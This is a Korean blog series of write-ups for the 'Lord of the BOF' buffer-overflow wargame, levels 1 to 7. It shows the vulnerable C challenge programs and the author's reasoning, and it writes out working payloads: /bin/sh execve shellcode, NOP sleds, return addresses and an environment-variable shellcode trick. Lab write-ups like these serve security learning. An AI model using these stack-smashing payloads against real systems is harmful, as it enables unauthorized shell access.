728x90

확실히 LOS보다 LOB가 재밌는듯

/*
        The Lord of the BOF : The Fellowship of the BOF
        - orge
        - check argv[0]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // here is changed!
        if(strlen(argv[0]) != 77){
                printf("argv[0] error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

 

보아하니, egghunter(이거 계속 막혀서 까먹을듯...egg export=`python~~), bufferhunter, \xbf, argv[1]길이 제한,  argv[0] should 77 등이 있다.

argv[1]의 길이의 제한이 중요한게 아니라 argv[0]의 길이의 제한이 중요한데, 우리가 페이로드를 작성할때 쓰는 [./gremlin] 이 명령어의 길이를 무슨 수로 77자를 맞출까? 

 

첫번째 방법은 심볼릭 링크를 만드는 것이고,

그 명령어는  ln -s [링크를 지정할 파일] [링크이름] 이다.

나도 처음엔 이 방법으로 풀었고, 같은 방법으로 풀면 재미없으니깐 다른 방법을 사용하겠다.

 

우리가 파일을 실행할때 쓰는 명령어는 [./]요건데 [/]이 기호는 디렉토리를 분리해주는 기호고, 안에 값이 없으면 

아무리 적어도 의미없는 기호다. 지금 상황에 딱 필요한 기호지.

 

혹시나 blank, 즉 스페이스바를 기호로 인식한다고 가정하고 시도해봤는데 실패했다 ㅋㅋㅋ

이제 주소가 나왔으니깐 페이로드를 작성하면, (주소가 나온 이유는 LOB 6번 문제처럼 코드를 수정했다)

 

이게 이상한게 봐바

내가 분명히 풀이쓰려고 전에 풀때 쓴 파일 지우기 전에 bash2 해줬는데 에러가 뜨는데 

다시 bash2해주니깐 풀리네 ㅋㅋㅋㅋㅋㅋㅋㅋ

뭐 bash2도 유통기한이 있나? 

728x90

'pwnable > LOB' 카테고리의 다른 글

LOB 9번  (0) 2020.07.25
LOB 8번  (0) 2020.07.25
LOB 6번  (0) 2020.07.25
LOB 5번  (0) 2020.07.22
LOB 4번  (0) 2020.07.22
728x90

/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkelf
        - egghunter + buffer hunter + check length of argv[1]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

 

코드를 살펴보면, egghunter와 bufferhunter, \xbf주소 조건이 보인다.

또한, argv[1]이 48을 넘을 수 없으므로, 48자로 작성해야한다.

bufferhunter에 의해 buffer엔 shell코드를 넣을 수 없다. 그러면 argv에 넣으면 된다.

스택은 총 48바이트이므로,

nop*19 + shellcode(25) + argv[1]주소

이렇게 넣으면 될것같다. nop을 감싸서 shellcode를 넣어도 되지만, 어차피 주소가 많이 벗어나면 의미가 없으므로, 

정확한 주소를 구하는게 편하다.

 

 

 

/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkelf
        - egghunter + buffer hunter + check length of argv[1]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%x\n", argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

 

darkelf.c 파일을 darkblf.c 파일로 복제한 뒤, argv[1]의 주소를 출력하는 코드를 추가하였다.

위 주소와 코어분석시 주소를 비교해보자.

코어 분석시 나오는 주소는 0xbffffc30 쪽이고, 수정한 코드로 구한 주소는 0xbffffc3e이므로 

코드를 수정해서 나오는 주소가 정확한것 같다. 하지만, 이 문제가 난이도가 낮기에 코드를 복제&수정이 가능하지 

다른환경에선 가능할지 모르니깐 여러 방법을 알아놓도록 하자.

 

이제 구한 주소로 페이로드를 작성하면, 

./darkelf `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x3e\xfc\xff\xbf"'`

 

728x90

'pwnable > LOB' 카테고리의 다른 글

LOB 8번  (0) 2020.07.25
LOB 7번  (0) 2020.07.25
LOB 5번  (0) 2020.07.22
LOB 4번  (0) 2020.07.22
LOB 3번  (0) 2020.07.19
728x90

사람이 만들어 놓은 문제를 시간제약 없이 푼다고 가정했을때, 가장 중요한 점은 출제자의 의도 파악이다.

이 문제를 푸는게 목적이 아니라 이 문제를 통해서 개념을 배우는 입장이므로, 출제자의 의도를 파악하는 과정이 

가장 중요하다. 

 

우선, c파일을 읽어보면, egghunter가 있으므로 환경변수를 이용한 풀이는 제외.

처음보는 bufferhunter 코드를 보면 buffer에다가 shell코드를 넣는 풀이도 제외다.

 

어떻게 풀까?

 

우선 buffer에 값이 들어가는 방식을 잘 살펴보면, argv에 있던 값을 strcpy로 buffer에 넣어준다.

즉, buffer를 사용할 수 없다면 argv를 이용하면 될 것이다.

 

일단 늘 하던것처럼 intel로 disas해주면, 

 

이렇게 나오는데, bufferhunter의 작업이 끝난 230번에 b를 걸어주고, 주소를 보자.

bffffc5c 가 argv의 주소인것 같다.

한번 해보자.

 

 

페이로드가 nop슬라이드로 감싸준 경우도 있지만, 지금까지 풀어봤을때 그걸 감싸준다고 해도 주소가 완전히 다르면

에러가 나기에 지금은 딱히 감싸줄 필요가 없는것 같다.

 

728x90

'pwnable > LOB' 카테고리의 다른 글

LOB 7번  (0) 2020.07.25
LOB 6번  (0) 2020.07.25
LOB 4번  (0) 2020.07.22
LOB 3번  (0) 2020.07.19
LOB 2번  (0) 2020.07.12
728x90

이번에는 bash2를 안까먹고 먼저 넣어주었다.

orc파일을 보면, egghunter이라는게 적혀있는데, 환경변수를 이용할 수 없다는 뜻이다.

다음 for문을 보면, argv[1][47] 항목이 \xbf이어야 한다고 나와있다.

만약 bf가 아니면 stack이랑 손절할 수 없다고 하네

 

환경변수를 이용할 수 없으니깐 nop슬라이드에 shell코드를 태워주고 마지막에 buffer주소를 넣어주자.

전체 바이트 48에서 48-25=23이므로 마지막에 buffer주소를 넣어줄 4바이트를 제외한 19바이트로 nop슬라이드를 

태워주면 될것 같다.

 

우선 shell코드는 있으니깐 buffer주소를 찾아보자.

지금 내가 알고있는 buffer주소를 찾는 방법은 3가지가 있다.

첫번째는 어셈으로 뒤집어서 b를 걸어주고 주소를 찾는방법, 

두번째는 기존 c파일에 필요한 구문을 추가하여서 구하는 방법, 

마지막으로는 core파일을 이용하는 방법이다. 

 

첫번째 방법

첫번째 방법은 오류가 나왔다. segmentation fault 혹은 illegal instruction 에러가 뜨는 경우는 다양한 이유가 있겠지만, 

지금 내 환경에선 주소를 잘못지정했을 가능성이 높다.

 

두번째 방법

두번째 방법 역시 실패했다. 

3번째 방법

코어를 분석하는게 그나마 정확한 주소를 알수 있는것 같다.

그렇다고 한 우물만 파지 말고 다양한 도구를 알아가는게 좋을것 같다.

 

 

 

728x90

'pwnable > LOB' 카테고리의 다른 글

LOB 6번  (0) 2020.07.25
LOB 5번  (0) 2020.07.22
LOB 3번  (0) 2020.07.19
LOB 2번  (0) 2020.07.12
LOB 1번  (0) 2020.07.11
728x90

getadr.c 파일은 2번에서 사용한 환경변수를 구하는 프로그램이고, 그대로 가져와서 썼다.

 

일단 goblin.c파일을 읽어보면, 

전과는 다르게 매개변수를 이용한 입력이 아닌 표준입력 방식을 사용하고 있다. 

2번과 같이 환경변수에 shellcode를 넣긴 하지만, 표준입력이기에 파이프를 이용해야 한다.

bash를 바꾸면 기존 주소도 달라진다. 유의

 

환경변수의 주소는 bffffe53,

gets보단 fgets함수를 사용하는게 좋을듯

728x90

'pwnable > LOB' 카테고리의 다른 글

LOB 6번  (0) 2020.07.25
LOB 5번  (0) 2020.07.22
LOB 4번  (0) 2020.07.22
LOB 2번  (0) 2020.07.12
LOB 1번  (0) 2020.07.11
728x90

id = gremlin 

pw = hello bof world

 

1번 이미지

 

bash2를 해주고 cobolt.c 파일을 읽어보니, buffer가 16바이트이고, 내가 쓰는 shell코드는 24바이트이므로, buffer에

넣을 수 없다. (\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80)

따라서, 우리는 환경변수를 이용할 것이고, 환경변수를 지정한 다음 리턴값을 환경변수의 주소로 넣어줄 것이다.

먼저 해야하는 것은 환경변수를 지정하는것이다.

(환경변수 지정어 >>  export (변수명) = (변수내용) )

export EGG=`python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 

이렇게 설정해준다.

 다음은 환경변수를 구하기 위한 코드를 작성해보자.

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

int main(int argc, char *argv[])s

{

char *ptr;

ptr = getenv(argv[1]);

printf("%p\n", ptr);

return 0;

}

이렇게 짜봤다.

 

2번 이미지

 

환경변수의 주소는 0xbffffeb6

이제 페이로드를 작성해보면, 

./cobolt `python -c 'print "a"*20+"\xb6\xfe\xff\xbf"'`

 

오류가 뜨긴 하지만 이 문제의 의도에 적합한 풀이다.

 

 

//7월 13일 수정

위의 환경변수에 썰매를 타게 해주니 이젠 illegal ~ 라는 오류가 뜬다.

구글링하니 단순한 문제가 아닌것 같아서 이 문제는 일단 넘어가기로 했다. 

728x90

'pwnable > LOB' 카테고리의 다른 글

LOB 6번  (0) 2020.07.25
LOB 5번  (0) 2020.07.22
LOB 4번  (0) 2020.07.22
LOB 3번  (0) 2020.07.19
LOB 1번  (0) 2020.07.11
728x90

gate _gremlin 문제다.

 우선 shell코드를 복붙하기 위해 putty를 사용하고, 내가 사용한 shellcode는 

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

이다. shellcode 는 다른글에서 짜는 과정을 기술하겠다.

 

1번의 스택을 보면 

1번 이미지

이렇게 구성되어 있다.(크기를 어떻게 구하는지 알고는 있는데 이 방법이 최적의 방법인지 모르겠다.. 더 공부해야할듯)

 

풀이 방향은 buffer의 시작주소를 알아낸 다음 buffer중간에 shell코드를 넣고 ret부분에 buffer의 시작주소를 넣을 것이다.

 

일단 buffer의 시작주소를 알아보기 위해서 gremlin.c 파일을 읽어보자.

 

2번 이미지

int argc, char *argv[] main함수는 구글링하니깐 strcpy함수로 알려져있고, 이 함수의 취약점은 크기를 고려하지 않고 

그대로 복붙한다는 것이다. 따라서 overflow방법을 사용할 수 있다.

 

이제 gremlin.c파일을 컴파일해서 어셈으로 헤쳐볼것이다.

이름은 gremlil로 하여서 컴파일하였고, intel 방식으로 main함수를 헤쳤다.

3번 이미지

strcpy함수를 부르기 직전의 주소로 break를 걸고, 코드를 일정한 문자로 채워서 buffer의 시작점을 찾아보자.

4번 이미지

내가 여기서 많이 어려움을 겪었는데, 포너블을 처음 하는거라 명령어 형식을 잘 몰라 ` 와 ' 을 구분하지 않고 적었었다..

r `python -c 'print "a"*260'` 이와 같은 형식으로 적어야하고, 띄어쓰기 또한 철저하게 지켜야 한다.

다음 breakpoint근처의 hex값을 보면 어디서부터 일정한 문자가 들어갔는지 알 수 있다.

따라서, buffer의 시작점주소는 0xbffff968이다.

 

이제 shell코드와 buffer시작주소를 알았으니 페이로드만 작성하면 끝난다.

./gremlin `python -c 'print "\x90"*200+"shellcode"+"\x90"*36+"buffer 시작주소"'`

여기서 buffer시작주소를 입력할때, 스택의 읽기방식을 고려하여서 역순으로 2개씩 넣어준다.

최종 페이로드는 

./gremlin `python -c 'print "\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+\x90"*36+"\x68\xf9\xff\xbf"'` 이다.

5번 이미지

여기서 bash2명령어를 사용하여야 답이 나오는데, 아직 구체적인 이유는 알지 못했다. 나중에 알게되면 수정예정

또한 위의 1번 이미지에 따라서 236바이트의 \x90값을 넣고 남은 24바이트 공간에 shellcode를 넣으면 왜 안되는지 잘 모르겠다. 아마 내 짐작으로는 내가 구한 buffer주소가 부정확한것 같다.

//////////////////////////////////////////////////////////////////////////////////////////////////////////

그리고 주소를 구할때 쓴 코드 x/24x에서 24x는 24개의 word를 뜻하고, 1word=4byte이다.

하나의 주소안에 들어있는 hex값의 주소는 16바이트를 4개로 나눈 4바이트 간격이다/.

728x90

'pwnable > LOB' 카테고리의 다른 글

LOB 6번  (0) 2020.07.25
LOB 5번  (0) 2020.07.22
LOB 4번  (0) 2020.07.22
LOB 3번  (0) 2020.07.19
LOB 2번  (0) 2020.07.12

+ Recent posts